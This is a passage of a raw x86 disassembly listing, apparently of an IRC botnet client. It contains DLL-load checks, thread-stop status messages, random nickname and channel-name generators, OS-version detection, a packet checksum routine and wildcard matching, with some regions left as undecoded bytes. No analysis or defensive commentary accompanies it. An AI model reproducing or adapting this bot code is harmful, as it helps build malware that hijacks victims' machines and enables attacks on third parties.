lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A94E: ; CODE XREF: sub_40A7CE+152j
cmp dword_4CB06C, esi
jz short loc_40A982
push dword_4CB070
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A982: ; CODE XREF: sub_40A7CE+186j
cmp dword_4CB074, esi
jz short loc_40A9B6
push dword_4CB078
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A9B6: ; CODE XREF: sub_40A7CE+1BAj
cmp dword_4CB07C, esi
jz short loc_40A9EA
push dword_4CB080
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A9EA: ; CODE XREF: sub_40A7CE+1EEj
cmp dword_4CB084, esi
jz short loc_40AA1E
push dword_4CB088
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40AA1E: ; CODE XREF: sub_40A7CE+222j
cmp dword_4CB08C, esi
jz short loc_40AA52
push dword_4CB090
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40AA52: ; CODE XREF: sub_40A7CE+256j
cmp dword_4CB094, esi
jz short loc_40AA86
push dword_4CB098
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40AA86: ; CODE XREF: sub_40A7CE+28Aj
cmp dword_4CB09C, esi
jz short loc_40AABA
push dword_4CB0A0
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40AABA: ; CODE XREF: sub_40A7CE+2BEj
lea eax, [ebp+var_200]
push offset unk_42D330
push eax
call sub_41B886
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40AAE7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_40AAE7: ; CODE XREF: sub_40A7CE+302j
lea eax, [ebp+var_200]
push eax
call sub_4151AC
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A7CE endp
; =============== S U B R O U T I N E =======================================
sub_40AAF9 proc near ; CODE XREF: sub_4017ED+4Fp
; sub_401ACD+5C95p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CAFB4
cmp eax, 0FFFFFFFFh
jnz short locret_40AB21
push [esp+arg_0]
call dword_4CAFF8
test eax, eax
jnz short loc_40AB1A
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40AB1A: ; CODE XREF: sub_40AAF9+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40AB21: ; CODE XREF: sub_40AAF9+Dj
retn
sub_40AAF9 endp
; =============== S U B R O U T I N E =======================================
sub_40AB22 proc near ; CODE XREF: sub_4017ED+D6p
mov ecx, dword_4CAE90
xor eax, eax
test ecx, ecx
jz short locret_40AB30
call ecx
locret_40AB30: ; CODE XREF: sub_40AB22+Aj
retn
sub_40AB22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AB31 proc near ; CODE XREF: sub_401ACD:loc_403F5Dp
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_4CAFF0
mov ecx, eax
sub ecx, edi
jz loc_40ABF7
sub ecx, 32h
jz loc_40ABF0
sub ecx, 48h
jz short loc_40AB91
sub ecx, 6Eh
jz short loc_40AB8A
loc_40AB73: ; CODE XREF: sub_40AB31+8Bj
push eax
lea eax, [ebp+var_88]
push offset unk_42D544
push eax
call sub_41B886
add esp, 0Ch
jmp short loc_40ABD1
; ---------------------------------------------------------------------------
loc_40AB8A: ; CODE XREF: sub_40AB31+40j
push offset unk_42D520
jmp short loc_40ABC3
; ---------------------------------------------------------------------------
loc_40AB91: ; CODE XREF: sub_40AB31+3Bj
push [ebp+var_8]
call sub_41B4D5
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_41B590
add esp, 10h
cmp esi, edi
jz short loc_40ABBE
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_4CAFF0
cmp eax, edi
jz short loc_40ABF7
jmp short loc_40AB73
; ---------------------------------------------------------------------------
loc_40ABBE: ; CODE XREF: sub_40AB31+79j
push offset unk_42D4F0
loc_40ABC3: ; CODE XREF: sub_40AB31+5Ej
; sub_40AB31+C4j
lea eax, [ebp+var_88]
push eax
call sub_41B886
pop ecx
pop ecx
loc_40ABD1: ; CODE XREF: sub_40AB31+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_4151AC
pop ecx
loc_40ABE1: ; CODE XREF: sub_40AB31+C8j
; sub_40AB31+DCj
push esi
call sub_41B0B1
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40ABF0: ; CODE XREF: sub_40AB31+32j
push offset unk_42D4C0
jmp short loc_40ABC3
; ---------------------------------------------------------------------------
loc_40ABF7: ; CODE XREF: sub_40AB31+29j
; sub_40AB31+89j
cmp [esi], edi
jbe short loc_40ABE1
lea ebx, [esi+4]
loc_40ABFE: ; CODE XREF: sub_40AB31+DAj
push ebx
call dword_4CAFEC
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40ABFE
jmp short loc_40ABE1
sub_40AB31 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AC0F proc near ; CODE XREF: sub_401ACD+2247p
; sub_401ACD+2398p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_4CAF18
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_4CB0A4
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_41B886
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AC0F endp
; =============== S U B R O U T I N E =======================================
sub_40AC68 proc near ; CODE XREF: sub_412B08+24Cp
; sub_412B08+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40AC91
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40AC84: ; CODE XREF: sub_40AC68+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40AC84
pop edi
jmp short loc_40AC95
; ---------------------------------------------------------------------------
loc_40AC91: ; CODE XREF: sub_40AC68+Aj
mov edx, [esp+4+arg_0]
loc_40AC95: ; CODE XREF: sub_40AC68+27j
test esi, esi
pop esi
jz short loc_40AC9F
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40AC9F: ; CODE XREF: sub_40AC68+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40AC68 endp
; =============== S U B R O U T I N E =======================================
sub_40ACB5 proc near ; CODE XREF: sub_40B08D+49p
; DATA XREF: ___:off_42D590o
arg_0 = dword ptr 4
push esi
push edi
call near ptr 267098Eh
nop
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+8+arg_0]
push off_42D5F8[edx*4]
push offset aS_1 ; "%s"
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AD1D
loc_40ACF7: ; CODE XREF: sub_40ACB5+66j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B464
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40ACF7
loc_40AD1D: ; CODE XREF: sub_40ACB5+40j
mov eax, edi
pop edi
pop esi
retn
sub_40ACB5 endp
; ---------------------------------------------------------------------------
dw 5756h
dd 265C65E8h, 0E8509002h, 10BA8h, 10247C8Bh, 3C2404C7h
dd 68004291h, 42C91Ch, 0E8571C6Ah, 10C38h, 0C483F633h
dd 98353910h, 7E004290h, 0B88E826h, 0A6A0001h, 0F9F75999h
dd 64685752h, 6A0042B4h, 11E8571Ch, 8300010Ch, 3B4614C4h
dd 42909835h, 8BDA7C00h, 0C35E5FC7h
; =============== S U B R O U T I N E =======================================
sub_40AD80 proc near ; CODE XREF: sub_401ACD+69CCp
arg_0 = dword ptr 4
push ebx
push esi
push edi
nop
call near ptr 267098Eh
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_429098
test esi, esi
jle short loc_40ADC3
loc_40ADAD: ; CODE XREF: sub_40AD80+41j
call sub_41B8E2
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40ADAD
loc_40ADC3: ; CODE XREF: sub_40AD80+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40AD80 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
nop
call near ptr 267098Eh
push eax
call sub_41B8D8
pop ecx
lea eax, [ebp-8]
mov esi, offset byte_431250
push eax
push esi
call near ptr 26A0000h
nop
movsx eax, byte_431250
push 41h
pop ecx
push 1
pop edx
loc_40AE09: ; CODE XREF: ___:0040AE14j
cmp eax, ecx
jnz short loc_40AE10
mov [ebp-4], edx
loc_40AE10: ; CODE XREF: ___:0040AE0Bj
inc ecx
cmp ecx, 5Bh
jl short loc_40AE09
push 61h
pop ecx
loc_40AE19: ; CODE XREF: ___:0040AE24j
cmp eax, ecx
jnz short loc_40AE20
mov [ebp-4], edx
loc_40AE20: ; CODE XREF: ___:0040AE1Bj
inc ecx
cmp ecx, 7Bh
jl short loc_40AE19
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 0Ch
cmp dword_429098, esi
jle short loc_40AE65
loc_40AE3F: ; CODE XREF: ___:0040AE63j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B464
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AE3F
loc_40AE65: ; CODE XREF: ___:0040AE3Dj
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
nop
call near ptr 267098Eh
push eax
call sub_41B8D8
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
nop
call near ptr 26B0000h
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_431254
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AEDA
loc_40AEB4: ; CODE XREF: ___:0040AED8j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B464
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AEB4
loc_40AEDA: ; CODE XREF: ___:0040AEB2j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset dword_43D128
mov dword ptr [ebp-94h], 94h
nop
call near ptr 26B0618h
nop
call near ptr 267098Eh
push eax
call sub_41B8D8
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_40AF64
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AF44
cmp dword ptr [ebp-84h], 1
jnz short loc_40AF34
mov esi, offset dword_43127C
loc_40AF34: ; CODE XREF: ___:0040AF2Dj
cmp dword ptr [ebp-84h], 2
jnz short loc_40AFA0
mov esi, offset dword_431278
jmp short loc_40AFA0
; ---------------------------------------------------------------------------
loc_40AF44: ; CODE XREF: ___:0040AF24j
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_40AF54
mov esi, offset dword_431274
jmp short loc_40AFA0
; ---------------------------------------------------------------------------
loc_40AF54: ; CODE XREF: ___:0040AF4Bj
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40AF9B
mov esi, offset dword_431270
jmp short loc_40AFA0
; ---------------------------------------------------------------------------
loc_40AF64: ; CODE XREF: ___:0040AF1Bj
cmp dword ptr [ebp-90h], 5
jnz short loc_40AF9B
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AF7D
mov esi, offset dword_43126C
jmp short loc_40AFA0
; ---------------------------------------------------------------------------
loc_40AF7D: ; CODE XREF: ___:0040AF74j
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40AF8D
mov esi, offset dword_431268
jmp short loc_40AFA0
; ---------------------------------------------------------------------------
loc_40AF8D: ; CODE XREF: ___:0040AF84j
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_431264
jz short loc_40AFA0
loc_40AF9B: ; CODE XREF: ___:0040AF5Bj
; ___:0040AF6Bj
mov esi, offset dword_431260
loc_40AFA0: ; CODE XREF: ___:0040AF3Bj
; ___:0040AF42j ...
mov edi, [ebp+8]
push esi
push offset dword_431258
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AFE4
loc_40AFBE: ; CODE XREF: ___:0040AFE2j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B464
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AFBE
loc_40AFE4: ; CODE XREF: ___:0040AFBCj
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AFEA proc near ; CODE XREF: sub_40B08D+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
nop
call near ptr 267098Eh
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc_0 ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_40B039
call dword_4CAF80
test eax, eax
mov eax, offset dword_431288
jnz short loc_40B022
mov eax, offset dword_43D128
loc_40B022: ; CODE XREF: sub_40AFEA+31j
push eax
push esi
push offset dword_431280
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41B980
add esp, 14h
jmp short loc_40B059
; ---------------------------------------------------------------------------
loc_40B039: ; CODE XREF: sub_40AFEA+22j
call dword_4CAF80
test eax, eax
mov eax, offset dword_431288
jnz short loc_40B04D
mov eax, offset dword_43D128
loc_40B04D: ; CODE XREF: sub_40AFEA+5Cj
push eax
lea eax, [ebp+var_1C]
push eax
call sub_41B886
pop ecx
pop ecx
loc_40B059: ; CODE XREF: sub_40AFEA+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_41AFE0
pop ecx
cmp eax, 2
pop esi
jbe short loc_40B088
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_41C1E0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_41B5F0
add esp, 18h
loc_40B088: ; CODE XREF: sub_40AFEA+7Dj
mov eax, [ebp+arg_0]
leave
retn
sub_40AFEA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B08D proc near ; CODE XREF: sub_4017ED+7Fp
; sub_401955+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_42D58C
loc_40B099: ; CODE XREF: sub_40B08D+3Fj
cmp [ebp+arg_C], 0
jz short loc_40B0B4
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_41C070
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B0BE
; ---------------------------------------------------------------------------
loc_40B0B4: ; CODE XREF: sub_40B08D+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40B0BE: ; CODE XREF: sub_40B08D+25j
test eax, eax
jnz short loc_40B0D0
add esi, 14h
inc edi
cmp esi, offset off_42D604
jb short loc_40B099
jmp short loc_40B0DE
; ---------------------------------------------------------------------------
loc_40B0D0: ; CODE XREF: sub_40B08D+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_42D590[eax*4]
pop ecx
loc_40B0DE: ; CODE XREF: sub_40B08D+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40B0F1
push [ebp+arg_0]
call sub_40AFEA
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40B0F1: ; CODE XREF: sub_40B08D+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_40B08D endp
; =============== S U B R O U T I N E =======================================
sub_40B0F6 proc near ; CODE XREF: ___:00401599p
; ___:004015D8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_43DCB0
loc_40B0FE: ; CODE XREF: sub_40B0F6+18j
cmp byte ptr [eax], 0
jz short loc_40B112
add eax, 234h
inc edi
cmp eax, offset dword_4CACB0
jl short loc_40B0FE
jmp short loc_40B15D
; ---------------------------------------------------------------------------
loc_40B112: ; CODE XREF: sub_40B0F6+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_43DCB0[esi]
push eax
call sub_41B5F0
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_43DEB0[esi], eax
and dword_43DEB4[esi], 0
mov eax, [esp+8+arg_8]
and dword_43DEB8[esi], 0
mov dword_43DEBC[esi], eax
and byte_43DEC8[esi], 0
pop esi
loc_40B15D: ; CODE XREF: sub_40B0F6+1Aj
mov eax, edi
pop edi
retn
sub_40B0F6 endp
; ---------------------------------------------------------------------------
byte_40B161 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2989o
dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh
dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
dd 0C4830000h, 90006A14h, 2B4E4FE8h, 555E5F02h, 0EC81EC8Bh
dd 200h, 6A5756h, 681075FFh, 431388h, 0FF0C75FFh, 9FE80875h
dd 83FFFFE8h, 0FF3314C4h, 43DCB0BEh, 3E8000h, 7D833C74h
dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
dd 0C19068FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h
dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h, 0C68124C4h
dd 234h, 0B0FE8147h, 7C004CACh, 0C95E5FB0h
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_40B231 proc near ; CODE XREF: sub_401ACD+7BA4p
; sub_40B2BF+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40B2B9
cmp esi, 400h
jge short loc_40B2B9
imul esi, 234h
push edi
push ebx
push dword_43DEC4[esi]
lea edi, dword_43DEC4[esi]
call near ptr 2670A1Bh
nop
cmp [edi], ebx
jz short loc_40B269
push 1
pop ebp
loc_40B269: ; CODE XREF: sub_40B231+33j
mov [edi], ebx
lea edi, dword_43DEB8[esi]
mov dword_43DEB0[esi], ebx
mov dword_43DEB4[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_40B28A
push eax
call sub_4199C9
pop ecx
loc_40B28A: ; CODE XREF: sub_40B231+50j
mov [edi], ebx
lea edi, dword_43DEBC[esi]
mov byte ptr dword_43DCB0[esi], bl
mov byte_43DEC8[esi], bl
push dword ptr [edi]
call dword_4CB00C
lea esi, dword_43DEC0[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_4CB00C
mov [esi], ebx
pop edi
loc_40B2B9: ; CODE XREF: sub_40B231+Dj
; sub_40B231+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40B231 endp
; =============== S U B R O U T I N E =======================================
sub_40B2BF proc near ; CODE XREF: sub_40111D+18p
; ___:loc_4017D9p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_43DCB0
loc_40B2CB: ; CODE XREF: sub_40B2BF+2Aj
cmp byte ptr [esi], 0
jz short loc_40B2DC
push edi
call sub_40B231
test eax, eax
pop ecx
jz short loc_40B2DC
inc ebx
loc_40B2DC: ; CODE XREF: sub_40B2BF+Fj
; sub_40B2BF+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4CACB0
jl short loc_40B2CB
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40B2BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B2F1 proc near ; CODE XREF: sub_401ACD+418Ep
; sub_401ACD+42E0p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_43DEB4
loc_40B305: ; CODE XREF: sub_40B2F1+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40B327
test edi, edi
jle short loc_40B319
cmp [esi], edi
jz short loc_40B319
cmp ebx, edi
jnz short loc_40B327
loc_40B319: ; CODE XREF: sub_40B2F1+1Ej
; sub_40B2F1+22j
push ebx
call sub_40B231
test eax, eax
pop ecx
jz short loc_40B327
inc [ebp+var_4]
loc_40B327: ; CODE XREF: sub_40B2F1+1Aj
; sub_40B2F1+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4CAEB4
jl short loc_40B305
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40B2F1 endp
; =============== S U B R O U T I N E =======================================
sub_40B33E proc near ; CODE XREF: ___:00401630p
; sub_401ACD+97Ap ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_43DEB0
loc_40B345: ; CODE XREF: sub_40B33E+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40B34E
inc eax
loc_40B34E: ; CODE XREF: sub_40B33E+Dj
add ecx, 234h
cmp ecx, offset dword_4CAEB0
jl short loc_40B345
retn
sub_40B33E endp
; =============== S U B R O U T I N E =======================================
sub_40B35D proc near ; CODE XREF: sub_401ACD+2433p
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_43DEB0
loc_40B367: ; CODE XREF: sub_40B35D+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40B380
add ecx, 234h
inc edx
cmp ecx, offset dword_4CAEB0
jl short loc_40B367
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B380: ; CODE XREF: sub_40B35D+10j
mov eax, edx
pop esi
retn
sub_40B35D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B384 proc near ; CODE XREF: sub_401ACD+1066p
; sub_401ACD+126Cp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_40B39D
push [ebp+arg_1C]
call sub_41B779
pop ecx
loc_40B39D: ; CODE XREF: sub_40B384+Ej
push eax
push [ebp+arg_18]
call sub_40B2F1
pop ecx
test eax, eax
pop ecx
jle short loc_40B3C9
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax
call sub_41B886
add esp, 14h
jmp short loc_40B3E3
; ---------------------------------------------------------------------------
loc_40B3C9: ; CODE XREF: sub_40B384+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax
call sub_41B886
add esp, 10h
loc_40B3E3: ; CODE XREF: sub_40B384+43j
cmp [ebp+arg_C], 0
jnz short loc_40B403
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_40B403: ; CODE XREF: sub_40B384+63j
lea eax, [ebp+var_200]
push eax
call sub_4151AC
pop ecx
leave
retn
sub_40B384 endp
; =============== S U B R O U T I N E =======================================
sub_40B412 proc near ; CODE XREF: sub_4017ED+159p
; ___:0040BA47p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_43DEC4[eax], ecx
mov dword_43DEB0[eax], ecx
mov dword_43DEB4[eax], ecx
mov dword_43DEB8[eax], ecx
mov dword_43DEBC[eax], ecx
mov dword_43DEC0[eax], ecx
mov byte ptr dword_43DCB0[eax], cl
mov byte_43DEC8[eax], cl
retn
sub_40B412 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B44F proc near ; CODE XREF: sub_401ACD+7E3Bp
; sub_40B57D+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_40B459: ; CODE XREF: sub_40B44F+68j
mov cl, [esi]
test cl, cl
jz short loc_40B4B9
cmp eax, 1
jnz short loc_40B4B9
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40B4B9
cmp cl, 2Ah
jz short loc_40B4A0
cmp cl, 3Fh
jz short loc_40B483
cmp cl, 5Bh
jz short loc_40B488
xor eax, eax
cmp cl, dl
setz al
loc_40B483: ; CODE XREF: sub_40B44F+26j
inc [ebp+arg_4]
jmp short loc_40B4B3
; ---------------------------------------------------------------------------
loc_40B488: ; CODE XREF: sub_40B44F+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40B4E5
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_40B4B3
; ---------------------------------------------------------------------------
loc_40B4A0: ; CODE XREF: sub_40B44F+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40B57D
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_40B4B3: ; CODE XREF: sub_40B44F+37j
; sub_40B44F+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B459
; ---------------------------------------------------------------------------
loc_40B4B9: ; CODE XREF: sub_40B44F+Ej
; sub_40B44F+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_40B4C9
cmp eax, 1
jnz short loc_40B4E0
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B4B9
; ---------------------------------------------------------------------------
loc_40B4C9: ; CODE XREF: sub_40B44F+6Dj
cmp eax, 1
jnz short loc_40B4E0
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40B4E0
cmp byte ptr [esi], 0
jnz short loc_40B4E0
push 1
pop eax
jmp short loc_40B4E2
; ---------------------------------------------------------------------------
loc_40B4E0: ; CODE XREF: sub_40B44F+72j
; sub_40B44F+7Dj ...
xor eax, eax
